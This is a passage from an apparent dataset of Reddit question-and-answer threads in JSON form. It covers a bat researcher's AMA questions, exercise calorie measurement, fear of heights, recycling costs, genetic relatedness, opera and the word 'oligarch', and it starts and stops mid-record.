"Thanks for doing this, Dr. Kloepper!\n\n\n\nWhen did you realize you wanted to study bats specifically? Did you know exactly what you wanted to do in undergrad, and how did that knowledge (or lack thereof) influence where you went for graduate school?\n\n\nAlso, would you say it's still worth it for aspiring biologists to try to get a tenure-track position in academia or is being trapped in post-doc hell a valid fear?", "How do the bats avoid crosstalk? Do they all echo locate at different frequencies, or is it highly directional? Or do they rely on some kind of \"near field\" communication with a couple of key bats doing the ranging for the group?", "How do you avoid spreading White Nose Syndrome?", "Could an echolocating animal communicate by using it's voice to \"draw\" an object in a way that another of it's species could then \"see\"? Asking from a speculative evolution point of view.", "Do the bats have large talons?", "Hi Dr. Laura,\nGreetings from Croatia. \n\nI was wondering if you could tell me why do bats hang upside down most of the time? :)\n\nThanks!", "To Dr. Kloepper,\n\nWhat were some of the biggest challenges you found on your academia journey? I hope to head in the same direction albeit in biochemistry.", "Hi Dr. Kloepper!\n\nWhat would you say would be the most significant finding you have found throughout your research? And also, is there a specific way you get your funding? Because I aspire to be a researcher in neurology one day, so I need to know about finding. :) \n\nThank you once again! ", "How many bats do you think you'll encounter? And how many will you want to bring home?", "Do you think that North American bats will go mostly extinct in time due to the white nose syndrome?  Will it be appropriate to just replace them with Old World transplants?", "Have you been to the bat colony under the bridge in Austin,  TX? I remember hearing that it's one of the largest in the world and they even rebuilt the bridge to accommodate it's growing size. Truly a wonder to watch the entire colony of over a million bats fly south to feed at night!", "I live near Carlsbad Caverns, and seeing the bats there emerge at dusk is one of the most amazing things I've seen. \n\nIs the population there larger than you'd find in other caves? \n\nAlso, I found a Mexican free tailed bat stuck to the side of a building in midday. My coworkers wanted me to rescue it, but it didn't appear to be in distress so I left it alone. \n\nDid I do the right thing? How might be have ended up away from his proper home during the daytime? I have been worried about the little guy! ", "Hello and thank you for taking the time to do this AMA.\n\nHow are bat populations doing in the wake of White nose syndrome?\n\nWhat is a little known fact about bats you'd like everyone to know?\n\nBats are really fascinating animals. I'm looking forward to reading through your answers to the comments here.", "There are a lot of neat bat \"super powers.\" Echolocation. Flight through the [power of jazz hands](_URL_1_). Vampirism. [Empathy(?)](_URL_0_). Do bats have other awesome abilities that I might not know about?", "Do bats have a mating call? \nIf so, does it range in wavelengths? And is it species specific?", "Hi Dr. Kloepper\nWhen bats travel in large groups or even when they are just a few together, do they use the echolocation from each other or are they relying only on the sounds they produse them self? Got to think about this from your describtion about the large group leaving the caves at ones.\n\nThanks for doing this. Hope your trip is succesfull.\nBest regards from Denmark", "Hi Dr. Laura Kloepper! Thanks for doing this AMA!\n\nI love bats, they're such fascinating animals! My dad rehabilitates any that are found injured in our local area (mainly common pipistrelles, but he recently had a brown long-eared which was awesome!). It's great to get such a good look at them, and they each seem to have different personalities!\n\nI was wondering, how do you go about singling out an individuals echolocations sounds in such large colonies? Also, is there any evidence that each individual bat makes unique echolocation calls?\n\nOne final question. What is your favourite species?\n\nMany thanks!", "How hard was it to get a research job after finishing your PHD?\n", "If proper funding was provided, do you think, with the information of your research, or even knowledge your team has now, that it would be possible and/or practical to invent a device that will summon bats and control them Batman-style?", "Hey, I saw your talk yesterday at the World Science Festival, and I mainly just wanted to tell you that it was an excellent talk. But I'll ask a question, too: Can you elaborate on why you say, \"Everything we know about biology, mathematics and physics says that they should not be able to successfully echolocate in these large groups.\" Are you saying that man-made sonar placed in a similarly noisy environment is incapable of producing a roughly usable 3D map its surroundings? (And if so, why not?)\n\nBonus question: Tell us something fascinating about bat guano.\n", "Recently in my neighbourhood I've noticed a decline in the number of bats I see in the evenings. What can I do to help them out?", "How prevalent are bat bugs, the blood sucking parasites related to bed bugs?  Any stories related to the bugs?", "Hello,\n\nI am a photographer that knows of a cave with bats in it, and would like to photograph some. I would of course want to do so with a minimum of harm. Could you give me some recommendations for how and when to do it, or explain why not do it at all? Ideally I would like to use a flash to catch one in flight, and probably to use IR illumination to get around in the dark.\n\nTo ask something more ontopic, is there any affordable equipment I could use to capture the sounds they make?\n\nThanks!\n", "If a large colony of bats is flying, is there any confusion / interference when all of the bats are using echolocation at the same time?", "Hi Dr. Kloepper,\n\nYour work sounds like a fantastic initiative! It's really important for scientists to show the world how they do work, to inspire others and show the value of your work!\n\nMy question is related: how can others (especially those who work in labs like myself) do similar outreach? What strategies have worked for you, and what have been your biggest lessons learned? What has been the best advice you've received about outreach, and what was the worst?", "OK, this is a weird one.\nA bat sends out a sound that reflects off an object and is changed in the process giving the bat some information about the object; a \"picture\" of what's in front of it.\nIf the bat (or other echolocating animal) has the vocal equipment to reproduce the changed or distorted sound then he could communicate with others simply by reproducing those sounds. No \"language\" needed.\nSuppose I want to tell another bat where I found food. I don't need to give directions, just send him a series of pictures showing what I \"saw\" on my trip to that place. It would require very little thinking on the part of either bat for them to communicate pretty complex information without any symbolism in the traditional/human sense. \nDo they or any echolocating animal do this?", "What kind of safety precautions do you need to take in regards to bat guano?  In other words are there health/disease concerns (i.e. histoplasmosis)?", "What kind of unique characteristics does bat guano have? ", "Do you look for parallels with how other animals move in large groups--thinking particularly of schools of fish?", "Does your research have any application potential for real-time spatial topography mapping for use in virtual or augmented reality?  \n\nFew spatial mapping techniques can account not just for the appearance of the surroundings but also the fact- or not- of the solidity of those surroundings under low light or bright light conditions the way echolocation has the potential to do.\n\nI see echolocation as a tool in a robust toolset of sensor information for a spatial node mesh network for augmented and virtual reality applications.\n\nIs this kind of use for your research at all on your radar?", "What neural structures unique to bats allow them to use such finetuned echolocation? Are there any attempts to use their capabilities in robotics? Do you ever imagine how their specific means of sensing appears experientially and phenomenally? ", "My question is a little more professional in nature. My SO is a field biologist as well, and often spends several days in remote locations for her work. Is there any advice you could give to a woman working in the field that maybe she wouldn't have discovered after doing this for ~6 years?", "Hello Dr Kloepper\n\nI am a Master's student and I study the evolution of [bat flies](_URL_0_) - the true flies that are exclusively parasitic on bats. Do you think there is a single origination of bat flies or multiple? Also, could bat flies play any role in spreading diseases among the bat colonies like the white nose syndrome?", "I wonder if anyone has yet definitively tied birdsong to weather, wind, light, and temperature variations? Making all the bird sounds essentially a 3D map of the sky.\n\nThis would then be, somewhat at least, the birth of what later became echo location in mammals.   ", "I've heard that there has been recent success in curing white nose syndrome in bats.  Have you heard anything about this, and do you have any opinion on whether or not the plagued can be stopped?", "Do bats use echolocation in the same way that dolphins do? Can they tell the difference between per-say plastic and wood? I love you Dr.", "I saw your presentation recently at the World Science Festival and wanted to thank you for it.\n\n Question: Are there defects that reduce or alter a bats'/dolphins' ability to echolocate? Is it possible for a bat to be deaf :( or for a dolphin to lack the fat in its hollow jaw that allows it to receive and amplify these types of sounds? \n\nSurely out of a million bats in bats in a cave some small number of these must have genetic defects, or are these defects so crippling that these phenotypes couldn't possible survive?\n\n Similarly, are there some bats/dolphins that are better than average at echolocating, and do these abilities peak and plateau or decline with maturation? I hope these questions make sense. Thank you for your time.", " > These bats leave the cave at densities of up to 1,000 bats per second\n\nWhat kind of models best describe the crowd dynamics of such large amounts of bats? Do they behave like a liquid? How similar is their dynamics to that of schools of fish, or herds of wildebeest, or large amounts of migrating birds? Also, do large colonies of bats in flight which are under thread from predators ever break down in a fashion similar to the \"bait ball\" phenomenon observed in schools of fish?", "Hiya Dr. Kloepper! \n\nSo what exactly is the bat guano going to tell you? How does this relate to the echolocation? \n\nAlso, I was reading your blog, are those four meals the only things you guys are going to be eating? I don't think I could go 56 days rotating on only four meals.\n\nGood luck! ", "As bats are a major vector of rabies, what precautions do you need to take to avoid transmission? How do you think increased awareness of rabies from bats has impacted conservation efforts?", "Will you end up visiting El Malpais near Grants, New Mexico? I remember going to check out an insane bat cave there many times in the mid 90s.\n\nHave you ever produced \"bat noise\" and used speakers to direct it at masses of bats to see the results of a \"false\" stimulus?", "Can animals (maybe other bats), generate jamming signals?...that is false or interfering signals. Thx", "Hi Dr. Kloepper!  \n\nWhat started your interest in bat biology?", "What kinds of tools are you using in the study? How do they work?", "How many rabies shots have you had?", "Did a project back in diff eq on DDT and the complete opposite effect it had (from what it was engineered to do). Are flies the primary food source of bats? ", "i really want to know if bats get diarrhea . because if they do . pooping while upside down must be like hell", "Are you coming to the Mason Bat Cave in TX?  It is a nursery for Mexican Freetail Bats. If you are, please send me a message. I'd like to take you to lunch and maybe write an article for our tiny hometown newspaper. ", "Hello and thank you for doing this AmA! \n\nI've heard that bats can eat up to ~1,000 mosquitoes an hour and that I could keep a 'bat house' for them on my property and keep the mosquito numbers down. My question is, is this a good idea? Is this safe for the bats? And if so, how can I do this responsibly and as a benefit to the bats around me on the front range here in Colorado?\n\nThank you!", "Hi Laura!  I actually worked under you as an intern a few years ago. (Hi, it's Dan!)\n\nOne thing I remember about working with bats is the tremendous effort that it took to isolate and remove background noise while detecting echolocation signals, even with large arrays.  How much harder is it to accomplish that in the field?  Or since you're recording a large number of bats at once, does it not matter as much?", "Do NOT Spread white nose syndrome\n!!  wash your shoes or replace shoes before entering a new cave.  \n", "In your search and exploration of caves, have you ever come across a human dressed in black and grey? Usually has a cape and cowl, goes by the name of Bruce?", "Hello, physicist here. I read an article in Nature magazine a few years ago discussing echolocation. If I remember correctly, part of the article described how the bats can control the \"divergence\" of the sound they produce by altering their vocal chords. I.e. they can they make the sound spread to a wider angle on demand. Is this true or am I mistaken?\n\nIf so, given the wave-nature of the problem, I wonder if you can describe this aspect of echolocation using [the Van Cittert - Zernike Theorem](_URL_0_). Just a thought.\n\nIt's always interesting to hear about how evolution has solved problems in often the most elegant ways!", "2 Questions: How fast is the echolocation and their brain response, as far as we can tell? How fast can they interpret and respond to changes around them? I'm sure you are thinking of ways that you could incorporate that into drone swarms?\n\nQuestion 2: Do you have any cool bat sound files that are particularly interesting or odd? Thanks so much!", "Asa MSc student who is working with white nose syndrome, I had a hell of a time trying to find cave locations as these are protected by the government, researchers or caving groups who are reluctant to share information.\n\nDid you have any similar struggles? How did you locate your caves, was there specific agreements you had to have in place?\n\nLooking forward to the work you do!", "Dr. Kloepper, what exactly does it mean when you say bats construct a visual representation from their echoes? Blind humans who use tongue-click echolocation report the same thing, but I think that's always been a hard concept to evaluate objectively. Thank you!", "Hi, thanks for this AMA-\n\nIs it possible when the bats are in a large group that a single \"voice\" is formed and local smaller groups make a larger decision for the rest?\n\nSorry if this isn't a clear question.", "I've heard that bat caves are full of dangerous bat poop. Could you explain what the inside of the caves are like? ", "How can I tell the difference between a bat in a bird when they are flying? I think someone has a bat house in my area but I hear little tweets so I'm assuming they are really small black birds. Texas area around 8pm month of May/June. I don't see a tail and they seme to glide more than birds.", "Hi,\n\nHow do bats locate a new cave, and why? For example, do they overpopulate a cave, but then how do they go about spreading as a population?\n\nI asked this question when I was about eight years old about forty years ago and the tour guide didn't know. ", "This question isn't related to your work, but did you teach at TC about 10 years ago? Yoy may have taught me biology in high school way back when. If so, congratulations on your accomplishments :D", "I read that the kinds and amounts of creatures living in the guano of bat colonies can be... creepy/ disgusting. Any stories/ details on the critters that live there, perhaps unique or uniquely concentrated?\n\nAlso I think it is rare but you can get aerosol transmission of rabies. Is that concerning in your work?\n\n", "Hello Dr. Kloepper! Does your dog Klaipo have any sort of specific role in your research, besides being a cool dog? I noticed you called him a \"field dog.\" I like to imagine him with bags strapped to him carrying equipment.", "I want a colony of bats in my yard how do I go about establishing such colony ?", "I have read that it is extremely difficult to \"jam\" bat echolocation, so they must be acutely aware of their own and others' signals, is there any evidence that they can share echolocation like other humans would benefit from one holding a flashlight?", "So bats and odontocetes both selected for echolocation independently of one another, likely due to very similar pressures (the visual occlusion of prey). Both echolocators have been extremely successful in their respective (and disparate) environments, as evidenced by their near-global range and diversity.\n\nWould you say that the success of both echolocators is evidence for an \"echolocation niche\" of sorts?\n\nWhat cognitive and behavioural similarities have you seen between bats and dolphins? More specifically, do you see bats engaging in cooperative hunting behavior, like herding mosquitoes into \"bait balls\" or some other cooperative strategy?\n\nThanks so much for doing this AMA!", "Why are bats so ugly?", "This is may be outside your wheelhouse, but what do we know right now about how and when echolocation evolved in bats? Are there any ideas about what early echolocation looked like and how it was selected for (I can't imagine that the trait appeared suddenly)?", "Why does it matter that the students helping you are female?  Aren't more biology students female for the past 30 years at least?", "Only slightly related to your research, but related to my interests.  I'm looking to start in fruit agriculture (apples specifically).  I think bats are underrepresented as a solution to pest management.  It seems like keeping a bat house adds biodiversity while reducing the need for chemicals.\n\nI can concede that bats may not be the best solution for a given pest (e.g. Codling Moth, Plum Curculio, Apple Maggot).  But I've never heard it suggested as a solution to anything.  Organic Orchards go to some pretty extraordinary lengths to handle pests.  Researches may be interested more in the detail than the application.  I'm wondering about the application of the research towards a positive ends.\n\n", "May have missed my shot, but what's your take on the Bear Grylls bat controversy? Do you think a poor example like that has set back community education re the importance of bat colonies?"]}, "title_urls": [], "selftext_urls": ["www.smcbellebats.wordpress.com"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.sciencenews.org/blog/wild-things/vampire-bats-share-blood-make-friends", "http://dobrador.com/wp-content/uploads/2016/04/bat-wings-skin-stretched-between-elongated-fingers-fly-through-jazz-hands.jpg"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Nycteribiidae"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Van_Cittert%E2%80%93Zernike_theorem"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2kqgnv", "title": "How is the number of calories of a specific exercise determined? And to what accuracy is it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2kqgnv/how_is_the_number_of_calories_of_a_specific/", "answers": {"a_id": ["clnw49a", "clo1ayu"], "score": [13, 3], "text": ["I can give you a bit of an explanation, since we just covered that in one of my courses. Some acronyms might be off since english isn't my first language.\n\nWhen you want to measure the energy consumption of someone, you usually calculate the VO2 (volume of O2 consumed per kg of bodymass per minute in ml/kg.min) linked to a certain level of exercise.\nFor example, if you put a person on a treadmill with a device measuring the O2 intake and CO2 outtake, you can know precisely which volume of O2 is needed to move the body at a certain speed. \n\nIt has been determined that every liter of O2 consumed by the body is used to burn the equivalent of 5 KCal (kilocalories).\nI don't have any links to support my explanation but if you look into ACSM exercise testing and prescription you should get your answer.", "People pretty much already said what I was about to say, but a few weeks ago a [similar question](_URL_0_) was asked and I gave a little more detailed answer. For anyone curious:\n\n\"Can human energy consumption be measured directly from measuring respiration? Does the amount of CO2 and water vapour we exhale correlate and source directly from the amount of glucose we are converting to energy? Are these quantities accurate measurements of energy production?\"\n\n\"actually yes! At least for aerobic, oxygen using activity (which is a large deal, but not all). Experimentally speaking, what we can do is measure the volume rate of inhaled O2 and the exhaled CO2 via a spiroergometer (this is done by measuring the contents of O2 and CO2 in the room and then in the exhaled air and then calculating their difference), construe their quotient (the respiratory quotient RQ = VCO2 / VO2) and deduce the \"efficiency\" of energy release per used oxygen volume, the caloric oxygen equivalent (unit: Joules per volume of oxygen) since they are proportional to each other (pretty much just use a standardised chart). General rule of thumb is that RQ values close to 0.7 mean more burning of fat and are a little less efficient, and values closer to 1 means glucose burning (which is way more efficient). The RQ may go over 1 in the case of lactate acidosis because of the way the blood buffering system works (via release of additional CO2 from hydrogencarbonate in the blood stream). For example, the caloric oxygen equivalent is about 20 kJ/L oxygen when the metabolism is balanced at an RQ of 0.75.\n\nFrom there on we can multiply the VO2 (volume rate of oxygen inhalation, volume/time like L/min or similar) with the caloric oxygen equivalent and get the overall internal power P of the metabolic activity within the body (energy per time), and then only need to multiply the time the person is doing the activity to get the physical work W (\"converted energy\") of course. VO2 directly correlates with the degree of metabolical activity (and may even be described as the so called metabolic equivalent MET, which is an important variable in sports physiology; 1 MET = 3.5 ml oxygen per minute per kg body weight), so this is something we want. (note: does not apply when the activity is high enough to be physiologically exhausting and using up more oxygen than the body can deliver, in which case VO2 caps at VO2max while the acidity of the body increases due to anaerobic metabolism, consequenty raising the CO2 exhalation rate VCO2 and RQ). The power of a resting, physically inactive individual is about 80 Watts. (by the way as a side note, the volume rate of oxygen inhalation, VO2, correlates with the volume of pumped blood in circulation over time, the cardiac output, and the difference between the oxygen contents in arteries and veins (or the practical depletion of oxygen in the capillaries), the arteriovenose oxygen difference - this is basically a variation on the Fick principle)\n\nPlease note that the power of the metabolic activity is not 100% efficient - parts of the energy gets converted into heat (which you may notice as overall overheating during activities). To get the efficiency of your musculature, we need to measure the external muscle power via an ergometer, then just calculate the quotient between external / internal power. Physiologically your musculature is about 25% efficient. For the efficiency in internal organs or during no activity we're out of luck with easily accessable arithmetics, but I believe that was measured to be 50%. I don't know how though.\n\nForget about the water vapor, however. Too many processes within the body produce and deduce water to be able to claim that contents of water exhalation may strictly correlate with metabolic activity, also the exhalation rate depends on the outside water pressure I presume.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/askscience/comments/2iy0yk/can_human_energy_consumption_be_measured_directly/"]]}
{"q_id": "5023jh", "title": "fear of heights. can one be learn to not be scared of heights, and become like these guys?", "selftext": "I want to be like these guys, but just looking at these pics or vids make me nervous. Is this fear genetics, or can I be trained to not fear? \n\n_URL_0_\n\nor\n\n_URL_1_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5023jh/eli5_fear_of_heights_can_one_be_learn_to_not_be/", "answers": {"a_id": ["d70jwhk", "d70kz6i", "d70mumw", "d70ojfp", "d70zahv"], "score": [7, 2, 2, 2, 3], "text": ["Cognitive behavior therapy can help people overcome fears.  This means, the more you do it the less scared you will be.  But there are limits of course.  Some people who have a faulty amygdala might never be able to fully overcome their brain chemicals without medication.  But a lot of people can.  ", "To expand on the Cognitive Behavioral Therapy angle, The main thing you will try will be exposure therapy. You'll just acclimate yourself yourself a little at a time in very controlled settings in a very safe and measured way. With a skilled therapist you make good progress and you'll find yourself doing things on your own in no time.", "I have a fear of heights but I try to challenge myself by doing things that cause fear. Go to high bridges, go on fairground rides and so forth. I still have the fear but I it does get easier. Slowly ", "I have heard of people who create VR games and are around heights all the time but only in the VR space have to be careful around ledges in real life because they become desensitized from their fear of heights", "I used to be afraid of heights.  \nI signed up and paid for bungee jump, to show off my bravery.  \nMy turn arrived.  \nThe crane went up.  \nThe guy told me to jump.  \nI looked down.  \nI was shit scared of those 90m.  \nI thought I couldn't just appear as a whiny coward.  \nI jumped.  \nWhile falling I stopped thinking.  \nIt's been an amazing experience.  \nNow I'm not afraid of heights anymore, I actually like to be in high and dangerous places...  \n\nDoes this answer your question?"]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/pics/comments/4zzq3q/extreme_hammocking/", "https://www.youtube.com/watch?v=VK_sgbeWlRw"], "answers_urls": [[], [], [], [], []]}
{"q_id": "667qdu", "title": "why do you have to pay for a recycling service?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/667qdu/eli5_why_do_you_have_to_pay_for_a_recycling/", "answers": {"a_id": ["dggbrfx", "dggbtsq", "dggbzuj"], "score": [3, 4, 5], "text": ["Not sure how detailed the answer should be, but by paying for the service, you are paying those who provide the service. If a place had a recycling program, but no one to run or staff it, the program would fail. Specialized machinery, fuel, and any cost associated with processing the recycling also has to be paid for some how. The money comes from public taxation (usually). Does that cover it?", "Because the vast majority of household recycling is not economically viable. Paper, glass, and plastic cost money to recycle.  You're paying them to reuse it instead of landfilling it. Metals are pretty much the only materials recyclers can make money on.", "Making an assumption here, but you are actually paying for them to pick it up from your home. In most areas, you could take it to a recycling center or designated bin for free. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ef8onb", "title": "There is a claim on Texas Monthly that the Western cultural aspect of Texas (Cowboys, Mavericks, Rangers) was not the essence of Texas and it\u2019s culture, before 1936, Texas was very similar to other Deep Southern states, and Western culture was an attempt to redefine Texas, far from the Confederacy?", "selftext": "Is there truth to this claim?\n\n_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ef8onb/there_is_a_claim_on_texas_monthly_that_the/", "answers": {"a_id": ["fc0ygom"], "score": [14], "text": ["I recently answered a question that might interest you, on the [very positive presence of Texas](_URL_0_) in, yes, Stoker's original *Dracula.* If not about Texas culture per se, it certainly involves the reputation of Texas in the U.S. and abroad--not just as Wild Western, but as the face, the embodiment, of the frontier."]}, "title_urls": [], "selftext_urls": ["https://www.texasmonthly.com/the-daily-post/is-texas-southern-western-or-truly-a-lone-star/"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/eaiv81/in_bram_stokers_dracula_one_of_the_character/fau7zqe/"]]}
{"q_id": "121ydg", "title": "Is there a point when you are no longer genetically related to someone?", "selftext": "So I was thinking of how people are always saying that some influential person now, such as Obama, is some distant relative from other famous person a long time ago, such as P.T. Barnum (I am pretty sure this claim has never been made). Each generation you are exponentially less related which means you have less and less genes from your hispanic ancestor. So I guess I'm just wondering if there is a cutoff such as 1/128 where an ancestor is no longer considered an ancestor. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/121ydg/is_there_a_point_when_you_are_no_longer/", "answers": {"a_id": ["c6rge9u", "c6rhwtu", "c6rs5gg"], "score": [3, 4, 2], "text": ["Is it a question of how you define ancestor? Because all life on earth descended from a single life form. In reality, if you go back far enough all living organisms on earth are related. So Obama and P. T. Barnum share a common ancestor. Just as Dick Chaney and a slime mold (just sayin') share a common ancestor.\n\nAll life on earth is related, so there is no limit to that. But it is correct to say \"they share a common ancestor\", rather then \"they are an ancestor.\" The latter is used for direct line descendants, not cousins.", "TL;DR: probably  > 1/8th, and  < =1/32, but depends.\n\nI work a lot with rare diseases, and frankly, we consider second-cousins to be \"effectively unrelated\" .  This is a distance of 5 degrees (or sharing 1/32 rare variants/genes).  Interestingly, most places do not prohibit the marriage of first cousins (1/8th related) (_URL_0_), and generally the children of first cousins are not at considerably higher risk for genetic disease, unless the parents are also the product of first cousin marriage.  As far as I know, no place has any prohibition on second cousin marriage.\n\nPlease note, any cut-off one picks will be arbitrary.  Other cut-offs have been used, historically, to determine things like \"who is and is not a a member of some particular racial group\"  and I think these values range from 100% to 1/16.  For Royalty, *any* amount of traceable, direct blood relationship qualifies you to potentially inherit the crown.", " > I'm just wondering if there is a cutoff such as 1/128 where an ancestor is no longer considered an ancestor. \n\n\nLike others have said, your ancestors are your ancestors regardless of whether or not you inherited DNA from them.\n\n\nRegarding to what extent you actually do share DNA with your various ancestors:\n\n\nThere is no harsh cutoff (such as 1/128) like you've proposed. **ALL** of your DNA comes from your ancestors. The only source of your DNA is from your parents  &  four grandparents, and the only source of their DNA is from their four grandparents, and so on and so forth. You absolutely, without a doubt, carry DNA from at least some of your 256 6th great-grandparents, your 512 7th-great-grandparents, your 1,024 8th-great-grandparents, and so on and so forth.\n\n\nYou can get a general (read...*very* general  &  almost certainly *very* inaccurate) guess of how much DNA you might share with an ancestor by simply figuring out how many of them there are (this [link](_URL_0_) is useful for that) and then dividing 100 by that number.\n\n\nFor example, you've got four grandparents, so 100/4 = 25% -- >  about 25% of your DNA comes from each one of your grandparents.\n\n\n16 great-great grandparents, so 100/16 = 6.25% -- >  about 6.25% of your DNA comes from each of your great-great grandparents.\n\n\nThe reason this is just a *general* formula is because recombination can skew this number **a lot**. For example, rather than an even 25/25 split between my paternal grandparents, I share 33% with my paternal grandmother and 17% with my paternal grandfather. That's just how recombination happened to occur in the particular gamete that my dad gave me. But you can see that this skewing likely distorts all the numbers farther out, as well.\n\n\nSo anyway. It's a *general* formula but don't take it as gospel.\n\n\nNow, a very interesting question is, what's the likelihood that you're genetically related to **any given ancestor**?\n\n\nI'll refer you to this very interesting [post](_URL_2_), where a man has done various computer simulations about recombination  &  inheritance over many generations.\n\n\nThe key points from his simulations...\n\n\n >  * after 10 generations, only about 12% of your genealogical tree is in your genetic tree\n\n\n >  * The number of genetic ancestors starts off growing exponentially, but eventually flattens out to around 125 (at 10 generations, 120 of your 1024 genealogical ancestors are genetic ancestors).\n\n\n >  * The probability of having DNA from all of your genealogical ancestors at a particular generation becomes vanishingly small very rapidly; there is a 99.6% chance that you will have DNA from all of your 16 great-great grandparents, only a 54% of sharing DNA with all 32 of your G-G-G grandparents, and a 0.01% chance for your 64 G-G-G-G grandparents. You only have to go back 5 generations for genealogical relatives to start dropping off your DNA tree.\n\n\nOkay, so I just discussed sharing DNA with your **ancestors**. But what about distant **cousins**, like PT Barnum and Obama?\n\n\nWell, it is less likely that you'll share DNA with a distant cousin than with a distant ancestor.\n\n\n[This link gives the probability that any two genealogical relatives will share a detectable amount of DNA](_URL_1_)\n\n\nWhat this chart says is that essentially 100% of first cousins share DNA that can be detected by an autosomal DNA test (meaning one that examines all chromosomes, not just the Y or just the mitochondrial DNA). 99% of second cousins share a detectable amount of DNA. ~90% of third cousins (people with a set of great-great grandparents in common) share DNA.\n\n\nYou can see that it starts to level off here. Only 45% of fourth cousin pairs and 15% of fifth cousin pairs share DNA.\n\n\nBasically there are several things that need to happen if you are going to have a DNA match with a distant cousin:\n\n\n1) You need to be sharing a piece of DNA with the common ancestor of your cousin  &  yourself. The probability of this decreases as the ancestor gets more distant, as we've learned.\n\n\n2) The cousin you are comparing yourself against needs to also share DNA with the common ancestor.\n\n\n3) Now here's the kicker. You and your cousin have to share the SAME piece of DNA. If you've got a segment from the ancestor on chromosome 5 and your cousin's got a segment from him on chromosome 17, you guys don't share DNA with *one another* and so a DNA test would show that you're unrelated genetically.\n\n\nHope that makes sense....I am typing on my phone so I apologize for anything that's unclear. Please let me know if you have questions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Cousin_marriage"], ["http://www.jqjacobs.net/anthro/ancestors.html", "https://customercare.23andme.com/entries/21263528-i-know-that-a-particular-person-is-my-relative-what-s-the-probability-that-we-share-a-sufficient-amo", "http://www.genetic-inference.co.uk/blog/2009/11/how-many-ancestors-share-our-dna/"]]}
{"q_id": "3vd8rr", "title": "what is it about opera music that can make you so overwhelmingly emotional despite not understanding a word the singer is saying?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3vd8rr/eli5_what_is_it_about_opera_music_that_can_make/", "answers": {"a_id": ["cxmi5ee"], "score": [2], "text": ["Think of the singer's voice like an instrument. Your emotional response is to the sound, not the meaning of the words."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "21eolb", "title": "why are super-wealthy russians described as \"oligarchs\" while super-wealthy americans are described as \"business magnates\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21eolb/eli5_why_are_superwealthy_russians_described_as/", "answers": {"a_id": ["cgcan23", "cgcaxh7", "cgcc01v", "cgcea6o", "cgchkon", "cgchrh4", "cgcj995", "cgck6ic", "cgck9ci", "cgcldvw", "cgcm0kr", "cgcn3tq", "cgcn92b", "cgcocwm", "cgcof3b", "cgcpr6c", "cgcpys6", "cgcqav9", "cgcr0cz", "cgcre8v", "cgcrixt", "cgcrlkr", "cgcrpqq", "cgcskmq", "cgcsp2y", "cgct14q", "cgct2dd", "cgcu05r", "cgcuzm7", "cgcv8hz", "cgcvagg", "cgcwrf2", "cgcwy3q", "cgcx00c", "cgcxb77", "cgcxefk", "cgcy1xa", "cgcy9mo", "cgcypuw", "cgd0lxj", "cgd0s3b", "cgd25u5", "cgd2byg", "cgd2i9k", "cgd2zt9"], "score": [4, 3, 61, 5, 12, 31, 5, 2, 5, 5, 6, 6, 6, 2, 5, 2, 2, 8, 16, 3, 2, 16, 5, 3, 7, 2, 9, 6, 2, 4, 3, 5, 5, 3, 5, 8, 3, 5, 3, 2, 3, 3, 5, 2, 2], "text": ["After the Soviet Union fell apart at the end of the 1990s and former Soviet systems became privatized russians themselves described the people who massively prospered quickly during this time as \"oligarch\", so the western media decided to use that term as well.  The term basically means the same as \"business magnate\" though.", "The best example of the difference is the fact that in russia it is widely known that if you are wealthy you can pay a fee to have police-like sirens installed on your car to be allowed to bypass traffic etc.\n\nI don't think you can do such thing in the USA. (at least it is not widely known)\n\nSo that means that in Russia you can buy (bribe) your way through the law in easier manner.", "Monarchy means a system where one rules. The monarch is the head of the system. Oligarch means a system where \"some\" rule. And the oligarchs are those people. In russia, this term is used because the wealthy can more easily exert power, because the legal boundaries are not as \"strict\" as for example in the us or most of western europe. \n\nEdit: i hope the term comes from \"oligo-\", or else i'm wrong :)", "There is no rational reason for the difference. America's politics is largely controlled, like Russia's, by people with money. The difference is that Americans like to believe (and the media outlets owned by its oligarchs have a good reason to keep people believing) that America is a meritocracy where anyone can become Bill Gates. After all - he dropped out of college! It must all be talent! \n\nBut the truth is that inherited wealth has much more to do with success than Americans would like to admit. It's the same reason that in America we learn about other countries' use of social control to influence different classes of people, but we never really talk about how our government/society uses ways to control people unless we go looking really hard for that information (in college, where many of the most controlled people never get to go.) \n\nNot to say that Russia is less corrupt than America, but the idea that there are not oligarchs in America is something that the American oligarchs themselves want us to believe. Why doesn't MSNBC report when GE pays tiny amounts of taxes despite it being the \"liberal network?\" For the same reason, the media owned by the rich (who call themselves elites) is not going to criticize the rich. Someone like Warren Buffett will push for the rich paying as much as the middle classes, but most politicians would never push for policies from the progressive era that the rich should be taxed specifically to fight the risk of a European-style oligarchy (Paul Krugman pointed this out recently, and Thomas Piketty's new book discusses this.)\n\nEdit: I'm surprised by how many downvotes this received.The sad thing is, most of the people who downvoted probably think that America has lots of dialogue and free speech that Russia doesn't, and they're right. But they are being dishonest when they say my comment doesn't contribute to the discussion - they just disagree with it. As a gay person I would never choose to 